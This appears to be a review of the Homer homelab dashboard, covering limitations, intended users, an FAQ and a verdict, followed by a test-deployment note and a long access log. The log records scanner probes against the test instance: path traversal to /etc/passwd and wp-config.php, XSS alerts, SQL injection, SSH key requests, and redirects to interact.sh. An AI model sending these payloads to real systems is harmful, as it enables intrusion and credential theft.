Homer

Limitations

• Plaintext credentials in client-side configuration: Because Homer executes in the browser, clients fetch config.yml directly, exposing any API tokens configured for smart cards (open issues #609 and #788).
• Cross-origin resource sharing restrictions: Smart cards query endpoints directly from client browsers rather than a server proxy, failing when upstream applications lack permissive CORS headers.
• Lack of built-in access control: Homer provides no native accounts or authentication screens, requiring operators to isolate sensitive links behind an authenticating reverse proxy like Authelia or Authentik.
• Manual administration: The platform provides no graphical editor, drag-and-drop layout rearrangement, or automated container discovery.

Who should use it

• Homelab administrators who need a low-overhead launchpad: Homer provides an immediate entry point to local containers and management interfaces without competing for host RAM.
• Self-hosting engineers who practice infrastructure as code: YAML-based configuration enables dashboard definitions to be tracked and deployed through Git workflows alongside container manifests.
• Privacy-focused operators who require network independence: Homer operates without external telemetry or cloud dependencies, remaining functional during internet outages.

FAQ

Homer vs start.me — which is better for a homelab? Homer is better for homelab environments because it runs locally with zero cloud dependencies and sub-second response times. Choose start.me if you require cloud synchronization across external networks, team sharing, and browser bookmarking extensions.

Does Homer require a database or backend server? No. Homer is an entirely static single-page application running in the browser, requiring only a basic web server to serve its assets and YAML configuration.

Is Homer free for commercial use? Yes. It carries no licensing fees, seat restrictions, or paid feature paywalls.

Verdict

Homer is the right choice when you want a fast, zero-maintenance launchpad for local services and are comfortable editing YAML files; it is not suited for environments requiring granular user permissions or automated container discovery. Ongoing repository maintenance and a permissive Apache-2.0 license—which allows unrestricted private and commercial deployments—make it a dependable default for homelab dashboards.

Ubuntu 24.04 · Apple container, Docker 29.1.3, Compose 2.40.3+ds1-0ubuntu1~24.04.1. Images pulled in 15 s: b4bz/homer:v26.08.3.

Based on the upstream setup. Official compose. Image pinned to v26.08.3; assets directory mounted as a named volume.

homer-1  | 2026-11-02T03:39:49.312293385Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:49 +0000] "GET /wp-content/plugins/issuu-panel/menu/documento/requests/ajax-docs.php?abspath=%2Fetc%2Fpasswd HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0"
homer-1  | 2026-11-02T03:39:49.312295010Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:49 +0000] "GET / HTTP/1.1" 200 765 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36"
homer-1  | 2026-11-02T03:39:49.312296468Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:49 +0000] "GET /filter/jmol/js/jsmol/php/jsmol.php?call=getRawDataFromDatabase&query=file:///etc/passwd HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0"
homer-1  | 2026-11-02T03:39:49.312298093Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:49 +0000] "GET /api/jolokia/search/org.apache.activemq:type=Broker,* HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36"
homer-1  | 2026-11-02T03:39:49.312299843Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:49 +0000] "GET /system/config_menu.htm HTTP/1.1" 404 158 "-" "Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/3.6.15"
homer-1  | 2026-11-02T03:39:50.292794802Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:49 +0000] "GET /wp-content/plugins/issuu-panel/menu/documento/requests/ajax-docs.php?abspath=%2Fetc%2Fpasswd HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.13 Safari/605.1.15"
homer-1  | 2026-11-02T03:39:50.292820886Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:49 +0000] "GET /modules/fieldpopupnewsletter/ajax.php?callback=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 404 158 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/ Firefox/3.6.16"
homer-1  | 2026-11-02T03:39:50.292823802Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:49 +0000] "GET /wp-admin/admin.php?page=wc-settings&action=redirect_telcell_form&api_url=https://oast.me HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0"
homer-1  | 2026-11-02T03:39:50.292826219Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:49 +0000] "GET /haproxy-status HTTP/1.1" 404 158 "-" "Mozilla/5.0 (X11; Ubuntu; Linux aarch64; rv:90.0) Gecko/20100101 Firefox/90.0"
homer-1  | 2026-11-02T03:39:50.292827719Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:49 +0000] "GET / HTTP/1.1" 200 765 "-" "Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36"
homer-1  | 2026-11-02T03:39:50.292829261Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:49 +0000] "GET / HTTP/1.1" 200 765 "-" "Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
homer-1  | 2026-11-02T03:39:50.292831094Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:49 +0000] "GET /folder_view.php HTTP/1.1" 404 158 "-" "Mozilla/5.0 (SS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36"
homer-1  | 2026-11-02T03:39:50.292832719Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:49 +0000] "GET /wp-content/uploads/pdf-invoices/ HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36"
homer-1  | 2026-11-02T03:39:50.292835386Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:49 +0000] "GET /index.php?content=../../../../../../../../etc/passwd HTTP/1.1" 404 158 "-" "Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36"
homer-1  | 2026-11-02T03:39:50.292837094Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:49 +0000] "GET /admin/public/login.jsp?error=%3Cscript%3Ealert(document.domain)%3C/script%3e HTTP/1.1" 404 158 "-" "Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36"
homer-1  | 2026-11-02T03:39:50.292838761Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:49 +0000] "GET /wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Safari/605.1.15"
homer-1  | 2026-11-02T03:39:50.292840677Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:49 +0000] "GET /CFIDE/ HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.2 Safari/605.1.15"
homer-1  | 2026-11-02T03:39:50.292842177Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:49 +0000] "GET /loki/api/v1/labels HTTP/1.1" 404 158 "-" "WMS/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36"
homer-1  | 2026-11-02T03:39:50.292859302Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:49 +0000] "GET /.ssh/authorized_keys HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; es-es) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13"
homer-1  | 2026-11-02T03:39:50.292861344Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:49 +0000] "GET /uir//etc/passwd HTTP/1.1" 404 158 "-" "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"
homer-1  | 2026-11-02T03:39:50.292862886Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:49 +0000] "GET /index.php?id=50&file=../../../../../../../../../etc/passwd HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0"
homer-1  | 2026-11-02T03:39:50.292864677Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:49 +0000] "GET /magmi/web/ajax_gettime.php?prefix=%22%3E%3Cscript%3Ealert(document.domain);%3C/script%3E%3C HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0"
homer-1  | 2026-11-02T03:39:50.292866344Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:49 +0000] "GET /index.php?content=../../../../../../../../etc/passwd HTTP/1.1" 404 158 "-" "Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/4.0"
homer-1  | 2026-11-02T03:39:50.292867844Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /index.php?id=50&file=../../../../../../../../../etc/passwd HTTP/1.1" 404 158 "-" "Mozilla/5.0 (SS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
homer-1  | 2026-11-02T03:39:50.295732511Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /loki/api/v1/labels HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_3; en-ca) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20"
homer-1  | 2026-11-02T03:39:50.295754386Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /graph HTTP/1.1" 404 158 "-" "Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
homer-1  | 2026-11-02T03:39:50.295757427Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /wp-content/uploads/pdf-invoices/ HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Safari/605.1.15"
homer-1  | 2026-11-02T03:39:50.295759552Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /nuxeo/login.jsp/pwn$%7B31333333330+7%7D.xhtml HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-us) AppleWebKit/534.16+ (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4"
homer-1  | 2026-11-02T03:39:50.295761636Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /acs/..;/admin/public/login.jsp?error=%3Cscript%3Ealert(document.domain)%3C/script%3e HTTP/1.1" 404 158 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:1.9.7.20) Gecko/ Firefox/3.6.11"
homer-1  | 2026-11-02T03:39:50.295763802Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /_/.ssh/authorized_keys HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.1 Safari/605.1.15"
homer-1  | 2026-11-02T03:39:50.295765677Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /nuxeo/login.jsp/pwn$%7B31333333330+7%7D.xhtml HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_4; en-gb) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2"
homer-1  | 2026-11-02T03:39:50.295777927Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /kcfinder/browse.php HTTP/1.1" 404 158 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
homer-1  | 2026-11-02T03:39:50.295781469Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /editor_tools/module?type=%22%3E%3Cdiv%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Knoppix; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"
homer-1  | 2026-11-02T03:39:50.295783636Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /pentaho/api/userrolelist/systemRoles?require-cfg.js HTTP/1.1" 404 158 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:24.0) Gecko/20100101 Firefox/24.0"
homer-1  | 2026-11-02T03:39:50.295785511Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /properties-with-map/?status&keyword=%22%3E%3Cimg%20src=x%20onerror=(alert)(document.domain);//%22 HTTP/1.1" 404 158 "-" "Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
homer-1  | 2026-11-02T03:39:50.295787886Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /compliancepolicyelements.inc.php?search=True&searchField=antani'+union+select+(select+concat(0x223e3c42523e5b70726f6a6563742d646973636f766572795d)+limit+0,1),NULL,NULL,NULL,NULL+--+&searchColumn=elementName&searchOption=contains HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36"
homer-1  | 2026-11-02T03:39:50.295790636Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /?s=SsnCp3%3CIMG%20%22%22%22%3E%3CIMG%20SRC=/%20onerror=%22alert(document.domain)%22%3E%3C/img%3E/fen/ HTTP/1.1" 200 765 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.4 Safari/605.1.15"
homer-1  | 2026-11-02T03:39:50.295792594Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /prober.php HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0"
homer-1  | 2026-11-02T03:39:50.295794261Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /prober.php HTTP/1.1" 404 158 "-" "Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.8"
homer-1  | 2026-11-02T03:39:50.295796219Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /commands.inc.php?searchOption=contains&searchField=vuln&search=search&searchColumn=command%20UNION%20ALL%20SELECT%20(SELECT%20CONCAT(0x223E3C42523E5B50574E5D,md5('999999999'),0x5B50574E5D3C42523E)%20limit%200,1),NULL-- HTTP/1.1" 404 158 "-" "Mozilla/5.0 (X11; CrOS x86_64 14092.77.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.107 Safari/537.36"
homer-1  | 2026-11-02T03:39:50.295798636Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /acs/..;/admin/public/login.jsp?error=%3Cscript%3Ealert(document.domain)%3C/script%3e HTTP/1.1" 404 158 "-" "Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"
homer-1  | 2026-11-02T03:39:50.295800511Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /admin.html?s=admin/api.Update/get/encode/34392q302x2r1b37382p382x2r1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b2t382r1b342p37373b2s HTTP/1.1" 404 158 "-" "Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/14.0"
homer-1  | 2026-11-02T03:39:50.295804761Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /public/error.jsp?errCode=%22%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3E HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.1.2 Safari/603.3.8"
homer-1  | 2026-11-02T03:39:50.295806844Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /public/error.jsp?errCode=%22%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3E HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Debian; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36"
homer-1  | 2026-11-02T03:39:50.295808677Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /index.asp HTTP/1.1" 404 158 "-" "Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.14"
homer-1  | 2026-11-02T03:39:50.295810344Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /editor_tools/module?type=%22%3E%3Cdiv%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
homer-1  | 2026-11-02T03:39:50.295812219Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /client/cdnfile/1C/Windows/win.ini?windows HTTP/1.1" 404 158 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/ Firefox/3.6.12"
homer-1  | 2026-11-02T03:39:50.295814636Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /client/cdnfile/1C/Windows/win.ini?windows HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13) AppleWebKit/619.4 (KHTML, like Gecko) Version/16.1.13 Safari/619.4"
homer-1  | 2026-11-02T03:39:50.295816427Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /haproxy?stats HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Safari/605.1.15"
homer-1  | 2026-11-02T03:39:50.295818386Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /kcfinder/browse.php HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0.1 Safari/605.1.15"
homer-1  | 2026-11-02T03:39:50.295820219Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /?s=SsnCp3%3CIMG%20%22%22%22%3E%3CIMG%20SRC=/%20onerror=%22alert(document.domain)%22%3E%3C/img%3E/fen/ HTTP/1.1" 200 765 "-" "Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/3.6.15"
homer-1  | 2026-11-02T03:39:50.295822052Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /duomiphp/ajax.php?action=addfav&id=1&uid=1%20and%20extractvalue(1,concat_ws(1,1,md5(999999999))) HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0"
homer-1  | 2026-11-02T03:39:50.295823969Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /duomiphp/ajax.php?action=addfav&id=1&uid=1%20and%20extractvalue(1,concat_ws(1,1,md5(999999999))) HTTP/1.1" 404 158 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36"
homer-1  | 2026-11-02T03:39:50.295825927Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /.ssh/authorized_keys HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0"
homer-1  | 2026-11-02T03:39:50.295827594Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /haproxy-status HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Knoppix; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36"
homer-1  | 2026-11-02T03:39:50.295831052Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /magmi/web/ajax_gettime.php?prefix=%22%3E%3Cscript%3Ealert(document.domain);%3C/script%3E%3C HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Kubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
homer-1  | 2026-11-02T03:39:50.306873969Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /admin.html?s=admin/api.Update/get/encode/34392q302x2r1b37382p382x2r1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b2t382r1b342p37373b2s HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_3; en-ca) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20"
homer-1  | 2026-11-02T03:39:50.306894177Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0"
homer-1  | 2026-11-02T03:39:50.306897136Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /compliancepolicyelements.inc.php?search=True&searchField=antani'+union+select+(select+concat(0x223e3c42523e5b70726f6a6563742d646973636f766572795d)+limit+0,1),NULL,NULL,NULL,NULL+--+&searchColumn=elementName&searchOption=contains HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Windows NT 10.0; rv:139.0) Gecko/20100101 Firefox/139.0"
homer-1  | 2026-11-02T03:39:50.306906927Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /graph HTTP/1.1" 404 158 "-" "Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"
homer-1  | 2026-11-02T03:39:50.306908844Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /index.asp HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0"
homer-1  | 2026-11-02T03:39:50.306910636Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /filter/jmol/js/jsmol/php/jsmol.php?call=getRawDataFromDatabase&query=file:///etc/passwd HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Knoppix; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"
homer-1  | 2026-11-02T03:39:50.306912427Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /pentaho/api/userrolelist/systemRoles?require-cfg.js HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Safari/605.1.15"
homer-1  | 2026-11-02T03:39:50.306915052Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /properties-with-map/?status&keyword=%22%3E%3Cimg%20src=x%20onerror=(alert)(document.domain);//%22 HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0"
homer-1  | 2026-11-02T03:39:50.306923344Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /commands.inc.php?searchOption=contains&searchField=vuln&search=search&searchColumn=command%20UNION%20ALL%20SELECT%20(SELECT%20CONCAT(0x223E3C42523E5B50574E5D,md5('999999999'),0x5B50574E5D3C42523E)%20limit%200,1),NULL-- HTTP/1.1" 404 158 "-" "Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
homer-1  | 2026-11-02T03:39:50.306926094Z 192.168.65.47 - - [02/Nov/2026:03:39:50 +0000] "GET /index.php?option=com_powermail&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 400 162 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/537.36 (KHTML, like Gecko) Version/8.0 Safari/537.36"
homer-1  | 2026-11-02T03:39:50.306937011Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /monitoring?part=graph&graph=usedMemory%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:139.0) Gecko/20100101 Firefox/139.0"
homer-1  | 2026-11-02T03:39:50.306939261Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /GallerySite/filesrc/fotoilan/388/middle//.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/etc/passwd HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0"
homer-1  | 2026-11-02T03:39:50.306941052Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /classic/graph HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.2 Safari/605.1.15"
homer-1  | 2026-11-02T03:39:50.306942552Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /OS/startup/restore/restoreAdmin.php HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Debian; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"
homer-1  | 2026-11-02T03:39:50.306944302Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /monitoring?part=graph&graph=usedMemory%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 404 158 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
homer-1  | 2026-11-02T03:39:50.306946052Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /wp-admin/admin-ajax.php?action=heartbeat&kc_us_dismiss_admin_notice=1&option_name=bfcm_2025_offer&redirect_to=https://interact.sh HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36"
homer-1  | 2026-11-02T03:39:50.306947886Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /wp-admin/admin-ajax.php?action=heartbeat&kc_us_dismiss_admin_notice=1&option_name=bfcm_2025_offer&redirect_to=https://interact.sh HTTP/1.1" 404 158 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)"
homer-1  | 2026-11-02T03:39:50.306949677Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /wp-admin/admin-ajax.php?action=heartbeat&kc_us_dismiss_admin_notice=1&option_name=welcome_offer&redirect_to=https://interact.sh HTTP/1.1" 404 158 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/ Firefox/3.6.8"
homer-1  | 2026-11-02T03:39:50.306951386Z 192.168.65.47 oss-verify.example - [02/Nov/2026:03:39:50 +0000] "GET /wp-admin/admin-ajax.php?action=heartbeat&kc_us_dismiss_admin_notice=1&option_name=welcome_offer&redirect_to=https://interact.sh HTTP/1.1" 404 158 "-" "Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.19"
